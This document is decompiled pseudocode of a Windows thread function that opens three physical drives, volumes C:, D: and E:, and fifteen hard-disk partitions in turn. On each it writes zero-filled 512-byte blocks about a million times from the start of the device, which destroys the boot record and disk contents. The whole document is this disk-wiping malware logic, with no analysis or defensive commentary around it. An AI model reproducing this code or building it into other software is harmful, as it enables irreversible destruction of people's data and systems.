BOOL __fastcall StartAddress(LPVOID lpThreadParameter)
{
HANDLE v1; // rdi
HLOCAL v2; // rsi
__int64 v3; // rbp
__int64 v4; // rbx
HANDLE v5; // rdi
HLOCAL v6; // rsi
__int64 v7; // rbx
HANDLE v8; // rdi
HLOCAL v9; // rsi
__int64 v10; // rbx
HANDLE v11; // rdi
HLOCAL v12; // rsi
__int64 v13; // rbx
HANDLE v14; // rdi
HLOCAL v15; // rsi
__int64 v16; // rbx
HANDLE v17; // rdi
HLOCAL v18; // rsi
__int64 v19; // rbx
HANDLE v20; // rdi
HLOCAL v21; // rsi
__int64 v22; // rbx
HANDLE v23; // rdi
HLOCAL v24; // rsi
__int64 v25; // rbx
HANDLE v26; // rdi
HLOCAL v27; // rsi
__int64 v28; // rbx
HANDLE v29; // rdi
HLOCAL v30; // rsi
__int64 v31; // rbx
HANDLE v32; // rdi
HLOCAL v33; // rsi
__int64 v34; // rbx
HANDLE v35; // rdi
HLOCAL v36; // rsi
__int64 v37; // rbx
HANDLE v38; // rdi
HLOCAL v39; // rsi
__int64 v40; // rbx
HANDLE v41; // rdi
HLOCAL v42; // rsi
__int64 v43; // rbx
HANDLE v44; // rdi
HLOCAL v45; // rsi
__int64 v46; // rbx
HANDLE v47; // rdi
HLOCAL v48; // rsi
__int64 v49; // rbx
HANDLE v50; // rdi
HLOCAL v51; // rsi
__int64 v52; // rbx
HANDLE v53; // rdi
HLOCAL v54; // rsi
__int64 v55; // rbx
HANDLE v56; // rdi
HLOCAL v57; // rsi
__int64 v58; // rbx
HANDLE v59; // rdi
HLOCAL v60; // rsi
__int64 v61; // rbx
HANDLE v62; // rbx
HLOCAL v63; // rdi
DWORD NumberOfBytesWritten; // [rsp+40h] [rbp-18h] BYREF
v1 = CreateFileW(L"\\\\.\\PhysicalDrive0", 0xC0000000, 3u, 0i64, 3u, 0, 0i64);
v2 = LocalAlloc(0x40u, 0x200ui64);
SetFilePointer(v1, 0, 0i64, 0);
v3 = 0xF4040i64;
v4 = 0xF4040i64;
do
{
WriteFile(v1, v2, 0x200u, &NumberOfBytesWritten, 0i64);
--v4;
}
while ( v4 );
SetFilePointer(v1, 512, 0i64, 1u);
CloseHandle(v1);
v5 = CreateFileW(L"\\\\.\\PhysicalDrive1", 0xC0000000, 3u, 0i64, 3u, 0, 0i64);
v6 = LocalAlloc(0x40u, 0x200ui64);
SetFilePointer(v5, 0, 0i64, 0);
v7 = 0xF4040i64;
do
{
WriteFile(v5, v6, 0x200u, &NumberOfBytesWritten, 0i64);
--v7;
}
while ( v7 );
SetFilePointer(v5, 512, 0i64, 1u);
CloseHandle(v5);
v8 = CreateFileW(L"\\\\.\\PhysicalDrive2", 0xC0000000, 3u, 0i64, 3u, 0, 0i64);
v9 = LocalAlloc(0x40u, 0x200ui64);
SetFilePointer(v8, 0, 0i64, 0);
v10 = 0xF4040i64;
do
{
WriteFile(v8, v9, 0x200u, &NumberOfBytesWritten, 0i64);
--v10;
}
while ( v10 );
SetFilePointer(v8, 512, 0i64, 1u);
CloseHandle(v8);
v11 = CreateFileW(L"\\\\.\\C:", 0xC0000000, 3u, 0i64, 3u, 0, 0i64);
v12 = LocalAlloc(0x40u, 0x200ui64);
SetFilePointer(v11, 0, 0i64, 0);
v13 = 0xF4040i64;
do
{
WriteFile(v11, v12, 0x200u, &NumberOfBytesWritten, 0i64);
--v13;
}
while ( v13 );
SetFilePointer(v11, 512, 0i64, 1u);
CloseHandle(v11);
v14 = CreateFileW(L"\\\\.\\D:", 0xC0000000, 3u, 0i64, 3u, 0, 0i64);
v15 = LocalAlloc(0x40u, 0x200ui64);
SetFilePointer(v14, 0, 0i64, 0);
v16 = 0xF4040i64;
do
{
WriteFile(v14, v15, 0x200u, &NumberOfBytesWritten, 0i64);
--v16;
}
while ( v16 );
SetFilePointer(v14, 512, 0i64, 1u);
CloseHandle(v14);
v17 = CreateFileW(L"\\\\.\\E:", 0xC0000000, 3u, 0i64, 3u, 0, 0i64);
v18 = LocalAlloc(0x40u, 0x200ui64);
SetFilePointer(v17, 0, 0i64, 0);
v19 = 0xF4040i64;
do
{
WriteFile(v17, v18, 0x200u, &NumberOfBytesWritten, 0i64);
--v19;
}
while ( v19 );
SetFilePointer(v17, 512, 0i64, 1u);
CloseHandle(v17);
v20 = CreateFileW(L"\\\\.\\Harddisk0Partition1", 0xC0000000, 3u, 0i64, 3u, 0, 0i64);
v21 = LocalAlloc(0x40u, 0x200ui64);
SetFilePointer(v20, 0, 0i64, 0);
v22 = 0xF4040i64;
do
{
WriteFile(v20, v21, 0x200u, &NumberOfBytesWritten, 0i64);
--v22;
}
while ( v22 );
SetFilePointer(v20, 512, 0i64, 1u);
CloseHandle(v20);
v23 = CreateFileW(L"\\\\.\\Harddisk0Partition2", 0xC0000000, 3u, 0i64, 3u, 0, 0i64);
v24 = LocalAlloc(0x40u, 0x200ui64);
SetFilePointer(v23, 0, 0i64, 0);
v25 = 0xF4040i64;
do
{
WriteFile(v23, v24, 0x200u, &NumberOfBytesWritten, 0i64);
--v25;
}
while ( v25 );
SetFilePointer(v23, 512, 0i64, 1u);
CloseHandle(v23);
v26 = CreateFileW(L"\\\\.\\Harddisk0Partition3", 0xC0000000, 3u, 0i64, 3u, 0, 0i64);
v27 = LocalAlloc(0x40u, 0x200ui64);
SetFilePointer(v26, 0, 0i64, 0);
v28 = 0xF4040i64;
do
{
WriteFile(v26, v27, 0x200u, &NumberOfBytesWritten, 0i64);
--v28;
}
while ( v28 );
SetFilePointer(v26, 512, 0i64, 1u);
CloseHandle(v26);
v29 = CreateFileW(L"\\\\.\\Harddisk0Partition4", 0xC0000000, 3u, 0i64, 3u, 0, 0i64);
v30 = LocalAlloc(0x40u, 0x200ui64);
SetFilePointer(v29, 0, 0i64, 0);
v31 = 0xF4040i64;
do
{
WriteFile(v29, v30, 0x200u, &NumberOfBytesWritten, 0i64);
--v31;
}
while ( v31 );
SetFilePointer(v29, 512, 0i64, 1u);
CloseHandle(v29);
v32 = CreateFileW(L"\\\\.\\Harddisk0Partition5", 0xC0000000, 3u, 0i64, 3u, 0, 0i64);
v33 = LocalAlloc(0x40u, 0x200ui64);
SetFilePointer(v32, 0, 0i64, 0);
v34 = 0xF4040i64;
do
{
WriteFile(v32, v33, 0x200u, &NumberOfBytesWritten, 0i64);
--v34;
}
while ( v34 );
SetFilePointer(v32, 512, 0i64, 1u);
CloseHandle(v32);
v35 = CreateFileW(L"\\\\.\\Harddisk1Partition1", 0xC0000000, 3u, 0i64, 3u, 0, 0i64);
v36 = LocalAlloc(0x40u, 0x200ui64);
SetFilePointer(v35, 0, 0i64, 0);
v37 = 0xF4040i64;
do
{
WriteFile(v35, v36, 0x200u, &NumberOfBytesWritten, 0i64);
--v37;
}
while ( v37 );
SetFilePointer(v35, 512, 0i64, 1u);
CloseHandle(v35);
v38 = CreateFileW(L"\\\\.\\Harddisk1Partition2", 0xC0000000, 3u, 0i64, 3u, 0, 0i64);
v39 = LocalAlloc(0x40u, 0x200ui64);
SetFilePointer(v38, 0, 0i64, 0);
v40 = 0xF4040i64;
do
{
WriteFile(v38, v39, 0x200u, &NumberOfBytesWritten, 0i64);
--v40;
}
while ( v40 );
SetFilePointer(v38, 512, 0i64, 1u);
CloseHandle(v38);
v41 = CreateFileW(L"\\\\.\\Harddisk1Partition3", 0xC0000000, 3u, 0i64, 3u, 0, 0i64);
v42 = LocalAlloc(0x40u, 0x200ui64);
SetFilePointer(v41, 0, 0i64, 0);
v43 = 0xF4040i64;
do
{
WriteFile(v41, v42, 0x200u, &NumberOfBytesWritten, 0i64);
--v43;
}
while ( v43 );
SetFilePointer(v41, 512, 0i64, 1u);
CloseHandle(v41);
v44 = CreateFileW(L"\\\\.\\Harddisk1Partition4", 0xC0000000, 3u, 0i64, 3u, 0, 0i64);
v45 = LocalAlloc(0x40u, 0x200ui64);
SetFilePointer(v44, 0, 0i64, 0);
v46 = 0xF4040i64;
do
{
WriteFile(v44, v45, 0x200u, &NumberOfBytesWritten, 0i64);
--v46;
}
while ( v46 );
SetFilePointer(v44, 512, 0i64, 1u);
CloseHandle(v44);
v47 = CreateFileW(L"\\\\.\\Harddisk1Partition5", 0xC0000000, 3u, 0i64, 3u, 0, 0i64);
v48 = LocalAlloc(0x40u, 0x200ui64);
SetFilePointer(v47, 0, 0i64, 0);
v49 = 0xF4040i64;
do
{
WriteFile(v47, v48, 0x200u, &NumberOfBytesWritten, 0i64);
--v49;
}
while ( v49 );
SetFilePointer(v47, 512, 0i64, 1u);
CloseHandle(v47);
v50 = CreateFileW(L"\\\\.\\Harddisk2Partition1", 0xC0000000, 3u, 0i64, 3u, 0, 0i64);
v51 = LocalAlloc(0x40u, 0x200ui64);
SetFilePointer(v50, 0, 0i64, 0);
v52 = 0xF4040i64;
do
{
WriteFile(v50, v51, 0x200u, &NumberOfBytesWritten, 0i64);
--v52;
}
while ( v52 );
SetFilePointer(v50, 512, 0i64, 1u);
CloseHandle(v50);
v53 = CreateFileW(L"\\\\.\\Harddisk2Partition2", 0xC0000000, 3u, 0i64, 3u, 0, 0i64);
v54 = LocalAlloc(0x40u, 0x200ui64);
SetFilePointer(v53, 0, 0i64, 0);
v55 = 0xF4040i64;
do
{
WriteFile(v53, v54, 0x200u, &NumberOfBytesWritten, 0i64);
--v55;
}
while ( v55 );
SetFilePointer(v53, 512, 0i64, 1u);
CloseHandle(v53);
v56 = CreateFileW(L"\\\\.\\Harddisk2Partition3", 0xC0000000, 3u, 0i64, 3u, 0, 0i64);
v57 = LocalAlloc(0x40u, 0x200ui64);
SetFilePointer(v56, 0, 0i64, 0);
v58 = 0xF4040i64;
do
{
WriteFile(v56, v57, 0x200u, &NumberOfBytesWritten, 0i64);
--v58;
}
while ( v58 );
SetFilePointer(v56, 512, 0i64, 1u);
CloseHandle(v56);
v59 = CreateFileW(L"\\\\.\\Harddisk2Partition4", 0xC0000000, 3u, 0i64, 3u, 0, 0i64);
v60 = LocalAlloc(0x40u, 0x200ui64);
SetFilePointer(v59, 0, 0i64, 0);
v61 = 0xF4040i64;
do
{
WriteFile(v59, v60, 0x200u, &NumberOfBytesWritten, 0i64);
--v61;
}
while ( v61 );
SetFilePointer(v59, 512, 0i64, 1u);
CloseHandle(v59);
v62 = CreateFileW(L"\\\\.\\Harddisk2Partition5", 0xC0000000, 3u, 0i64, 3u, 0, 0i64);
v63 = LocalAlloc(0x40u, 0x200ui64);
SetFilePointer(v62, 0, 0i64, 0);
do
{
WriteFile(v62, v63, 0x200u, &NumberOfBytesWritten, 0i64);
--v3;
}
while ( v3 );
SetFilePointer(v62, 512, 0i64, 1u);
return CloseHandle(v62);
} |